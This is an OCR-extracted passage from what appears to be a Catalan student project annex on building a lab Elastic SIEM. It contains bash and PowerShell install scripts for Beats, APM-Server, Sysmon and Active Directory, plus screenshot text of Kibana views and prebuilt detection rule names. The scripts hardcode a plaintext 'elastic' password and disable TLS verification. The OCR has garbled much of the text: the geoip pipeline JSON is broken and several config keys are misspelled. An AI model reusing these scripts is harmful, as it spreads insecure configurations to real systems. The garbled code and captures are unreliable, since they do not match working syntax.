echo "setup.kibana.setup.kibana.ssl.verification\_mode: none" >> /etc/packetbeat/packetbeat.yml echo "output.elasticsearch.pipeline: geoip-info" >> /etc/packetbeat/packetbeat.yml

#### #3. Iniciar el Packetbeat

}.

systemctl enable packetbeat systemctl start packetbeat

#### Script 8: Configuració de GeoIP del PacketBeat

```
/usr/share/packetbeat/bin/packetbeat setup
curl -u elastic:<password> -X PUT "https://elasticstack.mistic.lab:9200/_ingest/pipeline/geoip-
info?pretty" -H 'Content-Type: application/json' -d'
 "description": "Add geoip info",
 "processors": [
  {
    "geoip": {
"field": "client.ip",
     "target_field": "client.geo",
     "ignore_missing": true
    }
  },
    "geoip": {
"field": "source.ip",
     "target field": "source.geo",
     "ignore missing": true
    }
  },
  {
    "geoip": {
"field": "destination.ip",
     "target_field": "destination.geo",
     "ignore_missing": true
    }
  },
  ł
    "geoip": {
     "field": "server.ip".
     "target_field": "server.geo",
     "ignore_missing": true
    }
```

"geoip": {		
neid: nost.ip,		
"target_field": "host.geo",		
"ignore_missing": true		
}		
}		
]		
}		
' -k		

#### 9.1.1.2.2. Captures

Captura 8: Dades del PacketBeat

Archivo	Editar Ver Higtorial Marcadores Herramientas Ayyda		- 0 ×	ſ
K Ove	nview - Kibana 🛛 🗙 🕂			
÷	C 🙆 🔍 🖉 R https://elastic	stack mistic lab.5601/app/siem#/overview?timerange=(global:(linkTio:(timeline),timerange:(from:1585156681349,fromStr:n 🛛 🚥 👿 🐔 🏠	li\ ⊡ ⊛ ≡	
K	D SIEM / Overview		۰ ۲۵	
	🖹 🛩 Search	KQL 🛗 🗸 Last 24 hours Show dates	් Refresh	
۲	Image:			
ŝ	Camaredon Group			
8	Learn how the Intelligence & Analytics	Event count stack by event.dataset ~	View events	
ŵ	ongoing adversary campaign.	Showing: 2,076 events		
8	Elastic Security 7.6.0 released	2000	• fie 🔍 🗸	ļ
8	Elastic Security 7.6 automates threat	1400 - 1200 -	• flow	I
2	rules for the SIEM app and enhanced	1000	● socket	I
ß	Endpoint security protections for Windows hosts.	40 - 200 -	process	1
ę	Have SIEM questions?	03-25 21 00 03-26 00:00 03-26 03:00 03-26 03:00 03-26 03:00 03-26 12:00 03-26 15:00 03-26 13:	00 a share	1
୍ତୀ	Join our growing community of Elastic			1
din.	and use of Elastic SIEM for threat	Host events View hosts Network events	View network	1
Ÿ	detection and response.	Showing: 1,889 events Showing: 186 events		l
ŵ	Elastic Endpoint Security overview webinar	> Auditbeat 1,889 > Auditbeat 67		
۲	Elastic is bringing endpoint protection	> Elastic Endpoint Security 0 > Filebeat 0		
⇒	and SIEM together to streamline how you secure your organization.	> Filebeat 0 > Packetbeat 119	_	

## 9.1.1.3. FileBeat

9.1.1.3.1. Scripts

#### Script 9: Instal·lació del FileBeat

#### #!/bin/bash

#1. Instal·lació del Filebeat

curl -L -O https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-7.6.1-x86\_64.rpm sudo rpm -vi filebeat-7.6.1-x86\_64.rpm

#### #2. Configuració del Filebeat

cp /etc/filebeat/filebeat.yml /etc/filebeat/filebeat.yml\_PreConfig host=`hostname`

cp -r /etc/elasticsearch/ssl/ /usr/share/filebeat/

sed -i "s/localhost/\$host/g" /etc/filebeat/filebeat.yml /etc/filebeat.yml sed -i "s/#protocol: \"https\"/protocol: \"https\"/g" /etc/filebeat/filebeat.yml /etc/filebeat.yml echo "output.elasticsearch.ssl.certificate\_authorities: [\"/usr/share/filebeat/ssl/certs/ca\_server.pem\"]" >> /etc/filebeat/filebeat.yml "output.elasticsearch.ssl.certificate: echo \"/usr/share/filebeat/ssl/certs/elastic\_server.pem\"" >> /etc/filebeat/filebeat.yml echo "output.elasticsearch.ssl.key: \"/usr/share/filebeat/ssl/private/elastic\_server.key\"" >> /etc/filebeat/filebeat.yml echo "output.elasticsearch.username: \"elastic\"" >> /etc/filebeat/filebeat.yml echo "output.elasticsearch.password: \"3l4s1cUs3r\"" >> /etc/filebeat/filebeat.yml echo "setup.kibana.host: \"https://elasticstack.mistic.lab:5601\"" >> /etc/filebeat/filebeat.yml echo "setup.kibana.username: \"elastic\"" >> /etc/filebeat/filebeat.yml echo "setup.kibanapassword: \"3l4s1cUs3r\"" >> /etc/filebeat/filebeat.yml cp /etc/filebeat/modules.d/system.yml.disabled /etc/filebeat/modules.d/system.yml

#3. Iniciar el Filebeat systemctl enable filebeat systemctl start filebeat

#### 9.1.1.3.2. Captures

Captura 9: Dades del FileBeat

Archivo	Editar Ver Higtorial Marcadores Herramie nview - Kibana X +						-	e ×
€-	C & 0 &	https://elastics	iack.mistic.lab:5601/app/siem#/overview?timerange=(glob	al:(linkTo:!(timeline),tir	merang	ge:(from:1585159601786,fromStran 🚥 💟 🛯 😭	II\ 🗆	۵ Ξ
K	SIEM / Overview						0 0	•
	🖹 🗸 Search			KQL 🗒	~	Last 24 hours Show	v dates C Refresh	
۲	🛞 — + Add filter							
4 16 41 <b>4</b> 5 A	Elastic Security 7.6.0 released 2030-02-11 Elastic Security 7.6 automates threat detection with MTRE ATTACC*-aligned turels for the SEW app and enhanced Endpoint Security protections for Windows hosts. Have SICM questions? 2020-02-05	•	0.52/16 0.3084 0.305	00 03-26 06:00	0	10241998 6324128 6324188 632418	e system.systog e file flow package e socket process Ø e surdees work	Timeline ~
Б Д	SIEM users to discuss the configuration and use of Elastic SIEM for threat detection and response.		Host events Showing: 3,789 events	View hosts		Network events	View network	
্য	Elastic Endpoint Security overview webinar	٤.	> Auditbeat 1,896		-	> Auditbeat 99	_	
() ()	Elastic is bringing endpoint protection and SIEM together to streamline how you		> Elastic Endpoint Security 0			> Filebeat 0		
٨	Elastic SIEM for home and small		> Filebeat 1,873			> Packetbeat 443		
۲	business 2019-10-24	1	v winiogbeat					
=	What might you find with a SIEM							

# 9.1.1.4. APM-Server

9.1.1.4.1. Scripts

Script 10: Instal·lació de l'APM-Server

#### #!/bin/bash

#1. Instal·lació de APM\_Server yum -y install apm-server

#### #2. Configuració apm-server

host=`hostname`

ES\_PATH\_CONF=/usr/share/apm-server cp -r /etc/elasticsearch/ssl \$ES\_PATH\_CONF cp /etc/apm-server/apm-server.yml /etc/apm-server/apm-server.yml\_PreConfig chown -R apm-server: /usr/share/apm-server/ssl

sed -i "s/localhost/\$host/g" /etc/apm-server/apm-server.yml /etc/apm-server/apm-server.yml echo "output.elasticsearch.ssl.certificate\_authorities: [\"/usr/share/apmserver/ssl/certs/ca\_server.pem\"]" >> /etc/apm-server.yml echo "output.elasticsearch.ssl.certificate: \"/usr/share/apm-server/ssl/certs/elastic\_server.pem\"" >> /etc/apm-server/apm-server.yml echo "output.elasticsearch.ssl.key: \"/usr/share/apm-server/ssl/private/elastic\_server.key\"" >> /etc/apmserver/apm-server.yml echo "output.elasticsearch.username: \"elastic\"" >> /etc/apm-server/apm-server.yml

echo "output.elasticsearch.username: \"elastic\"" >> /etc/apm-server/apm-server.yml echo "output.elasticsearch.password: \"3l4s1cUs3r\"" >> /etc/apm-server/apm-server.yml echo "output.elasticsearch.protocol: \"https\"" >> /etc/apm-server/apm-server.yml echo "setup.kibana.host: \"https://\$host:5601\"" >> /etc/apm-server/apm-server.yml echo "setup.kibana.username: \"elastic\"" >> /etc/apm-server/apm-server.yml echo "setup.kibana.username: \"elastic\"" >> /etc/apm-server/apm-server.yml echo "setup.kibana.password: \"3l4s1cUs3r\"" >> /etc/apm-server/apm-server.yml

#### #3. Iniciar apm-server systemctl enable apm-server

systemctl start apm-server

#### #4. Afegir Regle de Firewall

firewall-cmd --permanent --zone=public --add-port=8200/tcp firewall-cmd --reload

# 8.2. Annex 2: Anàlisi de Logs 8.2.1. Vista d'Elastic SIEM Captura 10: Home Kibana

📕 Kibana × + ← → C ▲ No seguro | elasticstack.mistic.lab:5601/app/kibana#/home 🍇 🕁 🔸 🔌 K D Home Security Discover Observability Visualize SIEM APM Logs Metrics Dashboard Ingest logs from popular data sources and easily visualize in preconfigured dashboards. APM automatically collect in-depth performance metrics and errors from inside your applications. entralize security events for interactive investigation in ready-to-go visualizations. ect metrics from the rating system and ces running on your Canvas 💩 Maps convers Machine Learning Add APM Add log data Add metric data Add events A Metrics Ch Logs 문 APM Upload data from log file Import a CSV, NDJSON, or log file Add sample data Load a data set and a Kibana Use Elasticsearch data of Uptime 🔊 SIEM Ø Dev Tools isualize and Explore Data Manage and Administer the Elastic Stack Stack Monitoring Management 💼 Canvas Console Index Patterns Automatically collect in-depth performance metrics and errors from inside your applications. Skip cURL and use this JSON interface to work with your data directly. Showcase your data in a pixel-perfect way. Manage the index patterns that help retrieve your data from Elasticsearch. ← Collapse 8.2.1.1. Pestanya Overview Captura 11: Finestra Overview 1 🔀 Overview - Kibana × + 🗧 🔿 🕐 🚺 No seguro | elasticstack.mistic.lab.5601/app/siem#/overview/timerange=(global:[linkTo:(timeline).timerange=(global:linkTo:(timeline).timerange=(from:1586274607982.fromStrnow-24h.kind:relative.to:158636... 🖏 😒 🐇 🐾 🕷 🖍 Ø 🛛 😐 SIEM Overview Overview Hosts Network Detections Timelines Anomaly detection  $\, \smile \, \, \oplus \,$  Add data 0 🗊 🗸 Search Show dates C Refresh KQL 📋 🗸 Last 24 hours 俞 (=) + Add filter 80 ŵ Recent timelines \* 2 .0. Signal count Stack by signal.rule.threat.tactic.name V View signals <  $\oplus$ You haven't favorited any timelines yet. Get out there and start threat hunting! Timeline Showing: 0 signals 2 View all timelines 50 Security news No data to display đ Have SIEM questions? 2020-04-03 2 2 Join our growing community of Elastic SIEM users to discuss the configuratic and use of Elastic SIEM for threat (2) and respons ŝ External alert count

 IC
 Stack by
 event.module
 ✓
 View alerts

Adversary tradecraft 101: Hunting

In this two-part blog series, we set out to help security practitioners improve their

for persistence using Elastic Security 2020-03-24

Thorney

Showing: 0 external alerts

0

⇒

#### Captura 12: Finestra Overview 2

<b>K</b> (	Verview - Kibana 🗴 🚱 Detections (Beta)   S	EM Guide (7 ×   +		σ	×
← -	→ C ▲ No seguro   elasticstack.mistic.lab:5601,	app/siem#/overview?timerange=(global:(linkTo:!(timeline),timerange:(from:1586275064612,fromStr:now-24h,kind:relative,to:158636 🗿 🚖 🌸	K 🖌 🖓 🗄	8	1
K	D SIEM / Overview		٥		•
	🕃 🗸 Search	KQL 👼 🗸 Last 24 hours Show dates	ී Refresh		
۲	🗇 - + Add filter				
ŝ	2020*03*22				
<b>50</b>	you will learn how to leverage Elastic SIEM to drive your security operations				
Â	and threat hunting. This course is designed for security analysts and	Event count stack by event.dataset V Vie	ew events		
8	practitioners who have used other SIEMs or are familiar with SIEM concepts.	Showing: 54,414 events			~
ø	Intro to Elastic Security: How to	18.000	flow		ilie
2	shrink MTTD Webinar 2020-03-19		All others socket		Time
S	A new SIEM detection engine automates threat detection, helps analysts maintain	0000	package		-
7	velocity, and minimizes mean time to detect (MTTD).		system.sys file		
Î	Mac system extensions for threat	04-07 18:00 64-07 21:00 04-08:00:00 04-08:03:00 64-08:09:00 04-08:12:00 64-08:15:00 m r	dns		
P	detection 2020-02-19				
Ŷ	Part 3 of this blog series gives an overview of the new SystemExtensions	Host events View hosts Network events View	w network		. 1
ŵ	and EndpointSecurity frameworks, how to use them, and development caveats.	Showing: 14,307 events Showing: 37,977 events			
۲	Playing defense against	> Auditbeat 6,577 > Auditbeat 3,231			
	Gamaredon Group 2020-02-13	Elastic Endpoint Security     0     Filebeat			
⇒	Learn how the Intelligence & Analytics team at Elastic Security tracked an	> Filebeat 2,944 -> Packetbeat 34,746 -			

8.2.1.2. Captura 13: Finestra Hosts 1

🔣 н	osts - Kibana × +					
← -	C A No seguro   elasticstack.mistic.lab	5601/app/siem#/hosts/allHosts?timerange=(global:(linkTo:!(timeline),timeline)	nerange:(from:1586	5275064612, from Str: now-24h, kind: relative, to:	1 🕸 🏚 📥 🔌 📧 🖓 📾	<b>E</b> :
K	D SIEM / Hosts / All hosts				0	2 🧕 Î
	🖫 🗸 Search		KQL 📋 🗸 🛛	Last 24 hours	Show dates C Refresh	
0	🗇 - + Add filter					- 1
	Hosts Last event: 2 minutes ago					
8 19 2	Hosts	User authentications ✓ 274 SUCCESS × 3 fail		Unique IPs © 74 SOURCE	I31 destination	Timeline >
୍ କ କ	Chart Data Not Available	Succ Ful 0 40 80 120 160 200 240 0 40 40 103 120 460 400 440 0 440 400 400 400 400 440 0 440 400 400 400 440 0 440 400 400 400 440 0 440 400 400 400 400 400 440 0 440 400 400 400 400 400 400 400 0 440 400 400 400 400 0 440 400 400 400 400 0 440 400 400 400 0 440 400 400 400 0 440 400 400 400 0 440 400 400 0 440 400 400 0 440 400 0 4	7 20:00	Sec. Dest. 0 20 40 60 80 100 120	Chart Data Not Available	
6 6	All hosts Authentications Un	common processes Events External alerts				
۲	All hosts Showing: 6 hosts				ß	
_	Host name	Last seen $^{\odot}$ $\downarrow$	Operating	system Version		
≡•	elasticstack.mistic.lab	43 minutes ago	CentOS Lin	nux 7 (Core)		*

#### Captura 14: Finestra Hosts 2

All hosts	Authentications	Uncommon process	ses Events	External alerts				
Authenti	cations							
130 - 110 - 90 - 70 - 30 - 10 - 04-07 18:00	04-07 21:00	04-88 00:00	04-08 03:00	04-00 06:00	04-08 09:00	04-88 12:00	04-05 15:00	authentication_success     authentication_failure
Authenti Showing: 11 users	cations							ត្រ
User	Successes	Failures La	ast success	Last successful source	Last successful destinati	. Last failure	Last failed source	Last failed destination
MISTICAD\$	217	0 A)	pr 7, 2020 @ 9:25:06.059	[#1	misticad.mistic.lab			
WINMETASPLOI	T3\$   16	0 A	pr 7, 2020 @	192.168.43.104	misticad.mistic.lab			

Captura 15: Finestra Hosts 3

All hosts Authentication:	s Uncomm							
Uncommon proce Showing: 67 processes	esses							(7
D								
AM_Delta_Patch_1.313.913.0.exe		Hosts 1	1 misticad.	es .mistic.lab	C:\Windows\\$ Delta_Patch_'	SoftwareDistribution\Download\Install\AM, 1.313.913.0.exe	_ SYSTEM	
MpSigStub.exe		1	1 misticad.	.mistic.lab	C:\Windows\s	system32\MpSigStub.exe	SYSTEM	
PING.EXE		1	1 winmeta	sploit3.mistic.lab	ping +1 More		Administrator	
SpeechModelDownload.exe		1	1 Imisticad.	.mistic.lab	C:\Windows\s hModelDown	system32\speech_onecore\common\Spee load.exe	NETWORK SERVICE	
WerFault.exe	ns Uncom	1	1 winneta	sploit3.mistic.lab Ura 16: Finesti External alerts	C:\Windows\s +5 More ra Hosts 4	system32\WerFault.exe	SYSTEM	
Events		non processe				5	Stack by event.action	~
16.000 - 14.000 - 10.000 - 6000 - 6000 - 6000 - 2000 - 0 - 0 - 0 - 0 - 0 - 0 - 0 -						_	<ul> <li>network_flow</li> <li>All others</li> <li>Filtering Platform I</li> <li>existing_package</li> </ul>	Connec
04-07 18:00 04-	07 21:00	04-08 00:00	04-08 03:00	04-08 06 00 0-	408 09:00 04:08 12:00	04001500	initia_scan     existing_process     logged-in	
04-07 18:00         04           Events         Showing: 54,414 events           Image: Ima	0721.00 message	04-08 00:00	04480300 host.name	event.module	4-00 09:00 04-00 12:00 event.dataset socket	event.action	existing_process     existing_process     looned-in  user.name Intp	
04-07 18:00         04           Events         Showing: 54,414 events           Image: Im	message III- II Sint Uncomm	54-8 00 00	host.name eleasticstack.mistic.la 2488ms Captei Events Ex	event.module b system A outbound 1000 Urra 17: Finesti cternal alerts	event.dataset socket 8   2 pkts   udp   [tl.Rp ra Hosts 5	event.action retwork.flow b2bbtoBIGacVuNQLvTtej+Ste	<ul> <li>initia_scan</li> <li>exising_process</li> <li>looped-in</li> </ul> user.name ntp	
ber 1800 be Events Showing: 54,414 events ■ @timestamp ↓ >   Apr 8, 2020 @ 17:57:44.291 Hosts Authentications External alert coulouing: 14 external alerts	message III- IIInn SUncomm	64-8 00 00	occesso host.name elasticstack.mistic.la 2486ms Captu	event.module b system outbound 1000 ura 17: Finesti cternal alerts	event.dataset  socket 8 2 pkts [udp] [ tLRp ra Hosts 5	event.action event.action network_flow b2batoBIGacVuNQLvTtej+Ste	existing_process loomed-in user.name [ntp	~
04471800     04       Events     Showing: 54,414 events       Image: state of the	message III- IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII	54-85 00 00 (© 28.382 on processes	occurrent en el	event.module b system outbound 1000 ura 17: Finesti cternal alerts	event.dataset socket 8 2 pkts udp [tl.Rp ra Hosts 5	event.action event.action network_flow b2bbtoBIGecVuNQLyTiej+St=	e exising_process e looped-in user.name ntp ek by event.module	✓ suri
04071800     04       Events     Showing: 54,414 events       Image: State of the	072100 message I I III III IIII IIII IIIIIIIIIIIII	0448 00 00 (© 28.382 on processes 0446 00 00	04-00 03:00 host.name elasticstack.mistic.la 2486ms Events Ex 04-05 12:00	event.module b system outbound 1000 ura 17: Finesti cternal alerts	event.dataset socket B 2 pkts udp the Rp ra Hosts 5	event.action event.action network_flow b2batoBIGecVuNQLvTtej+Ste	e kitig_process e looped-in user.name ntp ek by event.module	↓ v surie
04-07 18:00     04       Events     Showing: 54,414 events       Image: Comparison of the state	072100 message 1 — 1 — 1 — 1 — 1 — 1 — 1 — 1 —	5440 00 00 (© 28.382 on processes 6445 00 00	04-00000 host.name elasticstack.mistic.la 2488ms Events E	event.module b system outbound 1000 ura 17: Finesti cternal alerts	event.dataset socket 8 2 pkts [udp] [tLRp ra Hosts 5	04-00 15:00	e kiding_process e looped-in user.name [ntp dek by event.module 04-08 12:00	v surie
04471800     04       Events     Showing: 54,414 events       Image: state of the	event.module	0440000	04-00000 host.name elasticstack.mistic.la 2486ms Events Ex 64-05 12:00	event.category	event.dataset socket B 2 pkts udp 11.Rp ra Hosts 5 00 0470000	04-08 15:00	existing_process existing_process loomed-in intp ck by event_module e440 12.00	, surice
04-07 18:00     04-07       Events     Showing: 54,414 events       II     @imestamp ↓       >     Apr 8, 2020 @ 17:57:44.291       III hosts     Authentications       External alert count       0     64:60:00       0     64:60:00       External alerts       0     64:60:00       External alerts       0     64:60:00       External alerts       0     64:60:00	event.module	04-00 00 00 (Q) 28.382 on processes 04-05 00 00 0 0 0 0 0 0 0 0 0 0 0 0	e448 03 00 host.name elasticstack.mistic.la 2486ms Events Ex event.dataset suricata.eve	event.module b system outbound 1000 UIRA 17: Finesti (ternal alerts 0466 00 00 0466 122 event.category network_traffic	event.dataset socket B 2 pkts udp the P ra Hosts 5 00 04070000 event.severity	04-08 15:00	e existing_process e looned-in user.name ntp ek by event.module e4-06 12:00 host.name surreata.mistic.lab	· · · · · · · · · · · · · · · · · · ·

## 8.2.1.3. B. Pestanya Network Captura 18: Finestra Network 1



D SIEM / Netwo	ork / Flows												0	2
🖺 🗸 Search							KQL 🛗 🗸	Last 24 hours		S	how dates	C	Refresh	
😨 – + Add filter														
				1										
Network events 28,541		ים 1	<sup>NS queries</sup> 103				Unique private IPs	rce	⊚ 1	7 des	tinatio	n		
Unique flow IDs 1553		12	LS handshakes				Src. Dest. 0 2 4	6 8 10 12	16 12 8 4 0 14 16 04-07 20:00	0 04-07 23:00	04-08 02:00 04-	08 05:00 044	18 08:00	
Flows DNS	нттр -	TLS External ale	erts											
Source IP Showing: 67 IPs	S						Destination	n IPs						
IP	Domain	Autonomous syst	em Bytesin B	yte↓	Flows	Destina	IP	Domain	Autonomous system	Byt ↓	Bytes out	Flows	Source	
192.168.43.100			4GB	16GB	802	26	192.168.43.100			17GB	5.2GB	639	5	
192.168.43.101	-		126.3MB 6	586.8MB	112	21	192.168.43.1			30MB	1.1MB	60	2	
192.168.43.105	_	_	1.5GB 1	185.8MB	71	22	91.189.91.39	us.archive.ubuntu.	_	19.3MB	1GB	2	1	
192.168.43.103			40.9MB 1	178.1MB	61	15	us US	com						

#### Captura 20: Finestra Network 3

n ✓ Search						KQL 🛗	<ul> <li>Last 24 hours</li> </ul>			Show dates	C Refrest
) — + Add filter											
IE IE						Rows per pag	e: 10 🗸			( 1 2 3	4 5 >
Powe per page: 10				1 2 3	4.5						
Nowa per page. 10 +				125	- 3 /						
Source cour	trioc					Dectinat					
Source cour	luies					Destinat	lon countries				
Showing: 2 Countries						Showing: 9 Count	ries				
Country	Bytes in	Bytes out $\downarrow$	Flows	Source IPs	Destination IPs	Country	Bytes in $\downarrow$	Bytes out	Flows	Destination IPs	Source IPs
us United States of America	8.3KB	573.9KB	2	2	1	us United State America	s of 26.5MB	1.4GB	163	15	4
IE Ireland	194.3KB	59.1KB	1	1	1	GB United Kingo	lom 527KB	27.6MB	15	8	4
						It Ireland	140.8KB	186.2KB	7	5	2
					× 1 ×	NL Netherlands	120.7KB	289.1KB	12	4	2
						es Spain	77.2KB	1.1MB	29	17	2
						DE Germany	2.8KB	2KB	1	1	1
						ua Ukraine	2.8KB	2.8KB	2	2	2
						sɛ Sweden	2.7KB	2.7KB	1	1	1
						AU Australia	540B	OB	1	1	1

Captura 21: Finestra Network 4



Flows DNS HTTP TLS External alerts

#### HTTP Requests

Showing: 249 requests						
Method	Domain	Path	Status	Last host	Last source lp	Requests $\psi$
get	localhost	/chat/read_log.php	200	metasploitable3-ub1404	127.0.0.1	529
post	localhost	/chat/post.php	200	metasploitable3-ub1404	127.0.0.1	8
lipost , liget	mirrorlist.centos.org , ocsp.digicert.com , ocsp.sca1b.amazontrust.com	21 1	200	elasticstack.mistic.lab	192.168.43.100	7
get	au.download.windowsupdate. com	/d/msdownload/update/softw are/defu/2020/04/am_delta_p atch_1.313.913.0_d470f6efc6 27b08e1a98b0159ac5b950ed 048d74.exe	206	misticad.mistic.lab	192.168.43.101	4
i get	au.download.windowsupdate. com	/c/msdownload/update/softw are/defu/2020/04/am_delta_p atch_1.313.967.0_67d905e69 a276563573c92ca75725ee74 94ff3f0.exe	206	misticad.mistic.lab	192.168.43.101	3
get	ctldl.windowsupdate.com	/msdownload/update/v3/stati c/trustedr/en/pinrulesstl.cab	304	misticad.mistic.lab	192.168.43.101	3

Captura 23: Finestra Network 6

xternal alert cou	Int					Stack by	event.modu	ule $\checkmark$
wing: 14 external alerts								• suri
					A			
April 01	April 02	April 03 April 04	April 05 A	pril 06 April 07	Abii oo	April 09	April 10	
April 01 Kternal alerts wing: 14 external alerts	April 02	April 03 April 04	April 05 A	or 05 April 07	April 10	April 09	April 10	
April 01 Acternal alerts wing: 14 external alerts @timestamp \u03c6 April 0 00 16:52:55.351	April 02 event.module	April 03 April 04	April 05 A event.category I network traffic	event.severity	observer.name	April 09 host.n	April 10	
April 01	April 02 event.module suricata suricata	April 03 April 04 event.dataset suricata.eve suricata.eve	Apil 05 A event.category event.category network_traffic network_traffic	event.severity 3 3	observer.name	host.n suric	April 10 ame ata.mistic.lab ata.mistic.lab	

6	Overview Hosts Network Detections Timelines				Ano	maly detection $ \sim $	Add data	
۲ ۵		KQL	<b>*</b>	Last 10 days		Show dates	ී Refresh	
50	· ⇒ − + Add filter							· 1
\$\$ \$\$ \$\$ \$\\$ \$\] \$\$ \$\$ \$\$ \$\$ \$\$	Detections ETA Signals (SEEM Detections) External alerts Signal count Stowing 0 signals	to display		2	Stack by	Signal.rule.risk.sco	detection rules	Timeline >
⇒	SIEM / Detections / Signal detection rules	a mana	age	signal rules			٥	≥ €
					A	nomaly detection	✓ ⊕ Add da	ta
۲ ۲	C Back to detections Signal detection rules			Load Elastic prebuilt n	ules 🕑 li	mport rule	Create new rul	e
(A)								

Load prebuilt detection rules

⊕ Create your own rules

ŵ

٢

⇒

#### Captura 26: Prebuilt signal rules

All rules			Q e.g. rule nam	ne	Tags $\checkmark$ Elastic rules (92)	Custom r
Showing 0 rules Selected 0 rules Bulk acti	ions 🗸 🖸 Refresh					
Rule	Risk score	Severity	Last run	Last response	Tags	Activated
Credential Dumping - Detected - Elastic Endpoint	73	• High	_	•	Elastic Endpoint	×
Web Application Suspicious Activity: POST Request Declined	47	Medium	_	•	Elastic APM	×
Credential Manipulation - Prevented - Elastic Endpoint	47	Medium	_	•	Elastic Endpoint	×
Web Application Suspicious Activity: Unauthorized Method	47	Medium	_	•	Elastic APM	×
Adversary Behavior - Detected - Elastic Endpoint	47	Medium	_	• -	Elastic Endpoint	×
Credential Dumping - Prevented - Elastic Endpoint	47	Medium	_	• -	Elastic Endpoint	×

#### Captura 27: Exemple de signal rule



## 8.2.1.5. Timelines

Captura 28: Query timeline

K	D SIEM / Hosts / Events			0	9 e 1
	🕄 🗸 Search		× ☆ Untitled Timeline Description	20 @ 12:0 C Refre	esh (ĝ)
$\oslash$	🗐 – + Add filter				·····
ŝ	60,000		OR         @timestamp: "2020-04-04T07:21:16.6632" ×         AiD         event.code: "4656" ×		
50	50,000		Drop here to build an OR query		
ŵ	20,000		AND Filter V 🕃 V Search	KQL   Raw ever	nts 🗸
2	0 March 30	March 31	😨 – + Add filter		_
Ð			I≣ Columns @timestamp ↓ event.code message event.category	event.action	host.nan
2			→ 📮 🖵    Apr 4, 2020 @ 09:21:16.663    4656 A handle to an object was re	Removable Storage	mistica
5	Events		>         ₽            Apr 4, 2020 @ 09:21:16.663            4656         A handle to an object was re	Removable Storage	mistica
9	Showing: 488,079 events				
୍ତି	$\equiv$ @timestamp $\downarrow$	message			
P	> Apr 7, 2020 @ 21:12:54.683	1-			
es.		S whoop:			
÷		>_ whoop:			
۲	> Apr 7, 2020 @ 21:12:54.683	1-			
		2 postgre			
⇒	> Apr 7, 2020 @ 21:12:54.683	-	2 v of 2 Events	O Updated 2 mi	nutes ago

Captura 29: Timeline guardada

All tir	nelines					む D	elete	selec	cted
Q e.g	g. timeline name, or description						Onl	y favo	orites
Showing: 1	1 timeline								
	Timeline name	Description	Last modified $\downarrow$	Modified by	豆	Ģ	습		
	EliminacioFixers		9 seconds ago	elastic	0	0	습	۵	Û
Rows p	er page: 10 🗸								1 >

# 8.2.2. Escenari 1: Entorn empreserial 8.2.2.1. Instal·lació d'Active Directory 8.2.2.1.1. Scripts

Script 11: Instal-lació d'Active Directory

#1. Assignar IP Fixa New-NetIPAddress -InterfaceAlias Ethernet0 -IPAddress 192.168.43.101 -PrefixLength 24 DefaultGateway 192.168.43.2 #2. Configurar el DNS Server Set-DnsClientServerAddress -InterfaceAlias Ethernet0 -ServerAddresses ("192.168.43.101","8.8.8.8") #3. Desactivar IPv6 Disable-NetAdapterBinding –InterfaceAlias Ethernet0 –ComponentID ms\_tcpip6 #4. Instal·lar el Rol AD-DS Install-WindowsFeature - Name AD-Domain-Services - IncludeManagementTools #5. Promocionar a AD Install-ADDSForest -DomainName "mistic.lab" -CreateDnsDelegation:\$false ` -DatabasePath "C:\Windows\NTDS" ` -DomainMode "7" -DomainNetbiosName "misticlab" ` -ForestMode "7" -InstallDns:\$true ` -LogPath "C:\Windows\NTDS" ` -NoRebootOnCompletion:\$True -SysvolPath "C:\Windows\SYSVOL" ` -Force:\$true

Script 12: Instal·lació del WinlogBeat

#### #1. Afegir el registre DNS Elastic

Add-DnsServerResourceRecordA -Name "elasticstack" -ZoneName "mistic.lab" -AllowUpdateAny - IPv4Address "192.168.43.100" -TimeToLive 01:00:00

#### #2. Descarregar el winlogbeat

Invoke-WebRequest -Uri "https://artifacts.elastic.co/downloads/beats/winlogbeat/winlogbeat-7.6.2windows-x86\_64.zip" -OutFile "c:\winlogbeat-7.6.2-windows-x86\_64.zip" Expand-Archive c:\winlogbeat-7.6.2-windows-x86\_64.zip -DestinationPath 'C:\Program Files'

#3. Instal·lacio de Sysmon

Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Sysmon.zip" -OutFile "c:\sysmon.zip" Expand-Archive c:\sysmon.zip -DestinationPath 'c:\sysmon' Invoke-WebRequest -Uri "https://raw.githubusercontent.com/SwiftOnSecurity/sysmonconfig/master/sysmonconfig-export.xml" -OutFile c:\sysmon\sysmonconfig-export.xml C:\sysmon\sysmon64.exe -accepteula -i c:\sysmon\sysmonconfig-export.xml

#4. Configurar el winlogbeat
\$path = 'C:\Program Files\Winlogbeat'
\$name = hostname
Rename-Item 'C:\Program Files\winlogbeat-7.6.2-windows-x86\_64' \$path
(Get-Content -path \$path'\winlogbeat.reference.yml' -Raw) -replace 'localhost', 'elasticstack.mistic.lab' |
Set-Content -Path \$path'\winlogbeat.yml'

(Get-Content -path \$path\winlogbeat.yml' -Raw) -replace '#protocol: "https"', 'protocol: "https"'| Set-Content -Path \$path\winlogbeat.yml' Add-Content -Path \$path\winlogbeat.yml' -Value "name: \$name.mistic.lab" Add-Content -Path \$path\winlogbeat.yml' -Value "output.elasticsearch.ssl.verification\_mode: none" Add-Content -Path \$path\winlogbeat.yml' -Value 'output.elasticsearch.username: "elastic"' Add-Content -Path \$path\winlogbeat.yml' -Value 'output.elasticsearch.password: "3l4s1cUs3r"' Add-Content -Path \$path\winlogbeat.yml' -Value 'setup.kibana.host: "https://elasticstack.mistic.lab:5601"' Add-Content -Path \$path\winlogbeat.yml' -Value 'setup.kibana.username: "elastic"' Add-Content -Path \$path\winlogbeat.yml' -Value 'setup.kibana.username: "al4s1cUs3r"'

#5. Configurar el winlogbeat com a servei i iniciar-lo cd \$path ./install-service-winlogbeat.ps1 Start-Service winlogbeat

#### Script 13: Instal·lació de l'AuditBeat de Windows

#1. Descarregar l'auditbeat
Invoke-WebRequest -Uri "https://artifacts.elastic.co/downloads/beats/auditbeat/auditbeat-7.6.2-windows-x86\_64.zip"
Expand-Archive c:\auditbeat-7.6.2-windows-x86\_64.zip -DestinationPath 'C:\Program Files'
#2. Configurar l'auditbeat

